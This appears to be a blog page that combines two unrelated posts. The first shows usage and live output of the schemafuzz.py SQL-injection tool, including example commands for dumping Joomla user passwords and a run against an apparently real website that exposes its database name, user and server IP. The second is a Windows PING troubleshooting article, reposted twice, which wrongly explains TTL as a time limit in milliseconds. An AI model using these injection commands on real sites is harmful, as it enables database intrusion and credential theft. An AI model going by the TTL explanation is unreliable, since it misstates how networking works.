schemafuzz.py -h
Usage: ./schemafuzz.py [options] rsauron[@]gmail[dot]com darkc0de.com
Modes:
Define: --dbs Shows all databases user has access too. MySQL v5+
Define: --schema Enumerate Information_schema Database. MySQL v5+
Define: --full Enumerates all databases information_schema table MySQL v5+
Define: --dump Extract information from a Database, Table and Column. MySQL v4+
Define: --fuzz Fuzz Tables and Columns. MySQL v4+
Define: --findcol Finds Columns length of a SQLi MySQL v4+
Define: --info Gets MySQL server configuration only. MySQL v4+
Required:
Define: -u URL "www.site.com/news.php?id=-1+union+select+1,darkc0de,3,4"
Mode dump and schema options:
Define: -D "database_name"
Define: -T "table_name"
Define: -C "column_name,column_name..."
Optional:
Define: -p "127.0.0.1:80 or proxy.txt"
Define: -o "ouput_file_name.txt" Default is schemafuzzlog.txt
Define: -r row number to start at
Define: -v Verbosity off option. Will not display row #'s in dump mode.
Ex: ./schemafuzz.py --info -u "www.site.com/news.php?id=-1+union+select+1,darkc0de,3,4"
Ex: ./schemafuzz.py --dbs -u "www.site.com/news.php?id=-1+union+select+1,darkc0de,3,4"
Ex: ./schemafuzz.py --schema -u "www.site.com/news.php?id=-1+union+select+1,darkc0de,3,4" -D catalog -T orders -r 200
Ex: ./schemafuzz.py --dump -u "www.site.com/news.php?id=-1+union+select+1,darkc0de,3,4" -D joomla -T jos_users -C username,password
Ex: ./schemafuzz.py --fuzz -u "www.site.com/news.php?id=-1+union+select+1,darkc0de,3,4" -end "/*" -o sitelog.txt
Ex: ./schemafuzz.py --findcol -u "www.site.com/news.php?id=22"
schemafuzz.py -u http://www.ayamitiklembu/news.php?id=1 --findcol
|---------------------------------------------------------------|
| rsauron[@]gmail[dot]com v5.0 |
| 6/2008 schemafuzz.py |
| -MySQL v5+ Information_schema Database Enumeration |
| -MySQL v4+ Data Extractor |
| -MySQL v4+ Table & Column Fuzzer |
| Usage: schemafuzz.py [options] |
| -h help darkc0de.com |
|---------------------------------------------------------------|
[+] URL: http://www.ayamitiklembu/news.php?id=1--
[+] Evasion Used: "+" "--"
[+] 23:35:53
[-] Proxy Not Given
[+] Attempting To find the number of columns...
[+] Testing: 0,1,2,3,
[+] Column Length is: 4
[+] Found null column at column #: 1
[+] SQLi URL: http://www.ayamitiklembu/news...+0,1,2,3--
[+] darkc0de URL: http://www.ayamitiklembu/news...rkc0de,2,3
[-] Done!
schemafuzz.py -u http://www.ayamitiklembu/news...rkc0de,2,3 --fuzz
|---------------------------------------------------------------|
| rsauron[@]gmail[dot]com v5.0 |
| 6/2008 schemafuzz.py |
| -MySQL v5+ Information_schema Database Enumeration |
| -MySQL v4+ Data Extractor |
| -MySQL v4+ Table & Column Fuzzer |
| Usage: schemafuzz.py [options] |
| -h help darkc0de.com |
|---------------------------------------------------------------|
[+] URL: http://www.ayamitiklembu/news...c0de,2,3--
[+] Evasion Used: "+" "--"
[+] 23:43:22
[-] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: web27-gc
User: web27-gc@79.170.40.171
Version: 5.0.77-community
[+] Number of tables names to be fuzzed: 338
[+] Number of column names to be fuzzed: 249
[+] Searching for tables and columns...
Reference:
http://www.hackforums.net/showthread.php?tid=79972
Wednesday, May 27, 2009
Monday, May 25, 2009
Troubleshooting Connectivity Problems on Windows Networks
This article series will explain various troubleshooting techniques that you can use when machines on a Windows network have difficulty communicating with each other.
If you would like to be notified when Brien M. Posey releases the next part of this article series please sign up to the WindowsNetworking.com Real time article update newsletter.
Today’s network hardware and software is more reliable than ever but even so, things do occasionally go wrong. In this article series, I am going to discuss some troubleshooting techniques that you can use when a host on your Windows network has trouble communicating with other network hosts. For the sake of those with less experience in working with the TCP/IP protocol, I’m going to start with the basics, and then work toward the more advanced techniques.
Verify Network Connectivity
When one host has trouble communicating with another, the first thing that you must do is to gather some information about the problem. More specifically, you need to document the host’s configuration, find out if the host is having trouble communicating with any other machines on the network, and find out if the problem effects any other hosts.
For example, suppose that a workstation is having trouble communicating with a particular server. That in itself doesn’t really give you a lot to go on. However, if you were to dig a little bit deeper into the problem and found out that the workstation couldn’t communicate with any of the network servers, then you would know to check for a disconnected network cable, a bad switch port, or maybe a network configuration problem.
Likewise, if the workstation were able to communicate with some of the network servers, but not all of them, that too would give you a hint as to where to look for the problem. In that type of situation, you would probably want to check to see what the servers that could not be contacted had in common. Are they all on a common subnet? If so, then a routing problem is probably to blame.
If multiple workstations are having trouble communicating with a specific server, then the problem probably isn’t related to the workstations unless those workstations were recently reconfigured. More than likely, it is the server itself that is malfunctioning.
The point is that by starting out with a few basic tests, you can gain a lot of insight into the problem at hand. The tests that I am about to show you will rarely show you the cause of the problem, but they will help to narrow things down so that you will know where to begin the troubleshooting process.
PING
PING is probably the simplest TCP/IP diagnostic utility ever created, but the information that it can provide you with is invaluable. Simply put, PING tells you whether or not your workstation can communicate with another machine.
The first thing that I recommend doing is opening a Command Prompt window, and then entering the PING command, followed by the IP address of the machine that you are having trouble communicating with. When you do, the machine that you have specified should produce four replies, as shown in Figure A.
Figure A: The specified machine should generate four replies
The responses essentially tell you how long it took the specified machine to respond with thirty two bytes of data. For example, in Figure A, each of the four responses were received in less than four milliseconds.
Typically, when you issue the PING command, one of four things will happen, each of which has its own meaning.
The first thing that can happen is that the specified machine will produce four replies. This indicates that the workstation is able to communicate with the specified host at the TCP/IP level.
The second thing that can happen is that all four requests time out, as shown in Figure B. If you look at Figure A, you will notice that each response ends in TTL=128. TTL stands for Time To Live. What this means is that each of the four queries and responses must be completed within 128 milliseconds. The TTL is also decremented once for each hop on the way back. A hop occurs when a packet moves from one network to another. I will be talking a lot more about hops later on in this series.
Figure B: If all four requests time out, it could indicate a communications failure
At any rate, if all four requests have timed out, it means that the TTL expired before the reply was received. This can mean one of three things:
Communications problems are preventing packets from flowing between the two machines. This could be caused by a disconnected cable, a bad routing table, or a number of other issues.
Communications are occurring, but are too slow for PING to acknowledge. This can be caused by extreme network congestion, or by faulty network hardware or wiring.
Communications are functional, but a firewall is blocking ICMP traffic. PING will not work unless the destination machine’s firewall (and any firewalls between the two machines) allow ICMP echos.
A third thing that can happen when you enter the PING command is that some replies are received, while others time out. This can point to bad network cabling, faulty hardware, or extreme network congestion.
The fourth thing that can occur when pinging a host is that you receive an error similar to the one that is shown in Figure C.
Figure C: This type of error indicates that TCP/IP is not configured correctly
The PING: Transmit Failed error indicates that TCP/IP is not configured correctly on the machine on which you are trying to enter the PING command. This particular error is specific to Vista though. Older versions of Windows produce an error when TCP/IP is configured incorrectly, but the error message is “Destination Host Unreachable”
What if the PING is Successful?
Believe it or not, it is not uncommon for a ping to succeed, even though two machines are having trouble communicating with each other. If this happens, it means that the underlying network infrastructure is good, and that the machines are able to communicate at the TCP/IP level. Typically, this is good news, because it means that the problem that is occurring is not very serious.
If normal communications between two machines are failing, but the two machines can PING each other successfully (be sure to run the PING command from both machines), then there is something else that you can try. Rather than pinging the network host by IP address, try replacing the IP address with the host’s fully qualified domain name, as shown in Figure D.
Figure D: Try pinging the network host by its fully qualified domain name
If you are able to ping the machine by its IP address, but not by its fully qualified domain name, then you most likely have a DNS issue. The workstation may be configured to use the wrong DNS server, or the DNS server may not contain a host record for the machine that you are trying to ping.
If you look at Figure D, you can see that the machine’s IP address is listed just to the right of its fully qualified domain name. This proves that the machine was able to resolve the fully qualified domain name. Make sure that the IP address that the name was resolved to is correct. If you see a different IP address than the one that you expected, then you may have an incorrect DNS host record.
Conclusion
In this article, I have shown you some steps for testing basic connectivity between two machines. In the next article in the series, I will show you some more techniques that you can use in the troubleshooting process.
**************************************************
Published: Aug 14, 2008
Updated: Sep 26, 2008
Section: Articles & Tutorials :: Network Troubleshooting
Author: Brien M. Posey
Rating: 3.6/5 - 32 Votes
If you would like to read other parts to this article please go to:
Troubleshooting Connectivity Problems on Windows Networks (Part 2)
Troubleshooting Connectivity Problems on Windows Networks (Part 3)
Troubleshooting Connectivity Problems on Windows Networks (Part 4)
Troubleshooting Connectivity Problems on Windows Networks (Part 5)
http://www.windowsnetworking.com/articles_tutorials/Troubleshooting-Connectivity-Problems-Windows-Networks-Part1.html
http://searchnetworking.techtarget.com/tip/0,289483,sid7_gci1355527_mem1,00.html
If you would like to be notified when Brien M. Posey releases the next part of this article series please sign up to the WindowsNetworking.com Real time article update newsletter.
Today’s network hardware and software is more reliable than ever but even so, things do occasionally go wrong. In this article series, I am going to discuss some troubleshooting techniques that you can use when a host on your Windows network has trouble communicating with other network hosts. For the sake of those with less experience in working with the TCP/IP protocol, I’m going to start with the basics, and then work toward the more advanced techniques.
Verify Network Connectivity
When one host has trouble communicating with another, the first thing that you must do is to gather some information about the problem. More specifically, you need to document the host’s configuration, find out if the host is having trouble communicating with any other machines on the network, and find out if the problem effects any other hosts.
For example, suppose that a workstation is having trouble communicating with a particular server. That in itself doesn’t really give you a lot to go on. However, if you were to dig a little bit deeper into the problem and found out that the workstation couldn’t communicate with any of the network servers, then you would know to check for a disconnected network cable, a bad switch port, or maybe a network configuration problem.
Likewise, if the workstation were able to communicate with some of the network servers, but not all of them, that too would give you a hint as to where to look for the problem. In that type of situation, you would probably want to check to see what the servers that could not be contacted had in common. Are they all on a common subnet? If so, then a routing problem is probably to blame.
If multiple workstations are having trouble communicating with a specific server, then the problem probably isn’t related to the workstations unless those workstations were recently reconfigured. More than likely, it is the server itself that is malfunctioning.
The point is that by starting out with a few basic tests, you can gain a lot of insight into the problem at hand. The tests that I am about to show you will rarely show you the cause of the problem, but they will help to narrow things down so that you will know where to begin the troubleshooting process.
PING
PING is probably the simplest TCP/IP diagnostic utility ever created, but the information that it can provide you with is invaluable. Simply put, PING tells you whether or not your workstation can communicate with another machine.
The first thing that I recommend doing is opening a Command Prompt window, and then entering the PING command, followed by the IP address of the machine that you are having trouble communicating with. When you do, the machine that you have specified should produce four replies, as shown in Figure A.
Figure A: The specified machine should generate four replies
The responses essentially tell you how long it took the specified machine to respond with thirty two bytes of data. For example, in Figure A, each of the four responses were received in less than four milliseconds.
Typically, when you issue the PING command, one of four things will happen, each of which has its own meaning.
The first thing that can happen is that the specified machine will produce four replies. This indicates that the workstation is able to communicate with the specified host at the TCP/IP level.
The second thing that can happen is that all four requests time out, as shown in Figure B. If you look at Figure A, you will notice that each response ends in TTL=128. TTL stands for Time To Live. What this means is that each of the four queries and responses must be completed within 128 milliseconds. The TTL is also decremented once for each hop on the way back. A hop occurs when a packet moves from one network to another. I will be talking a lot more about hops later on in this series.
Figure B: If all four requests time out, it could indicate a communications failure
At any rate, if all four requests have timed out, it means that the TTL expired before the reply was received. This can mean one of three things:
Communications problems are preventing packets from flowing between the two machines. This could be caused by a disconnected cable, a bad routing table, or a number of other issues.
Communications are occurring, but are too slow for PING to acknowledge. This can be caused by extreme network congestion, or by faulty network hardware or wiring.
Communications are functional, but a firewall is blocking ICMP traffic. PING will not work unless the destination machine’s firewall (and any firewalls between the two machines) allow ICMP echos.
A third thing that can happen when you enter the PING command is that some replies are received, while others time out. This can point to bad network cabling, faulty hardware, or extreme network congestion.
The fourth thing that can occur when pinging a host is that you receive an error similar to the one that is shown in Figure C.
Figure C: This type of error indicates that TCP/IP is not configured correctly
The PING: Transmit Failed error indicates that TCP/IP is not configured correctly on the machine on which you are trying to enter the PING command. This particular error is specific to Vista though. Older versions of Windows produce an error when TCP/IP is configured incorrectly, but the error message is “Destination Host Unreachable”
What if the PING is Successful?
Believe it or not, it is not uncommon for a ping to succeed, even though two machines are having trouble communicating with each other. If this happens, it means that the underlying network infrastructure is good, and that the machines are able to communicate at the TCP/IP level. Typically, this is good news, because it means that the problem that is occurring is not very serious.
If normal communications between two machines are failing, but the two machines can PING each other successfully (be sure to run the PING command from both machines), then there is something else that you can try. Rather than pinging the network host by IP address, try replacing the IP address with the host’s fully qualified domain name, as shown in Figure D.
Figure D: Try pinging the network host by its fully qualified domain name
If you are able to ping the machine by its IP address, but not by its fully qualified domain name, then you most likely have a DNS issue. The workstation may be configured to use the wrong DNS server, or the DNS server may not contain a host record for the machine that you are trying to ping.
If you look at Figure D, you can see that the machine’s IP address is listed just to the right of its fully qualified domain name. This proves that the machine was able to resolve the fully qualified domain name. Make sure that the IP address that the name was resolved to is correct. If you see a different IP address than the one that you expected, then you may have an incorrect DNS host record.
Conclusion
In this article, I have shown you some steps for testing basic connectivity between two machines. In the next article in the series, I will show you some more techniques that you can use in the troubleshooting process.
**************************************************
Published: Aug 14, 2008
Updated: Sep 26, 2008
Section: Articles & Tutorials :: Network Troubleshooting
Author: Brien M. Posey
Rating: 3.6/5 - 32 Votes
If you would like to read other parts to this article please go to:
Troubleshooting Connectivity Problems on Windows Networks (Part 2)
Troubleshooting Connectivity Problems on Windows Networks (Part 3)
Troubleshooting Connectivity Problems on Windows Networks (Part 4)
Troubleshooting Connectivity Problems on Windows Networks (Part 5)
http://www.windowsnetworking.com/articles_tutorials/Troubleshooting-Connectivity-Problems-Windows-Networks-Part1.html
http://searchnetworking.techtarget.com/tip/0,289483,sid7_gci1355527_mem1,00.html
Subscribe to:
Posts (Atom)
LinkWithin
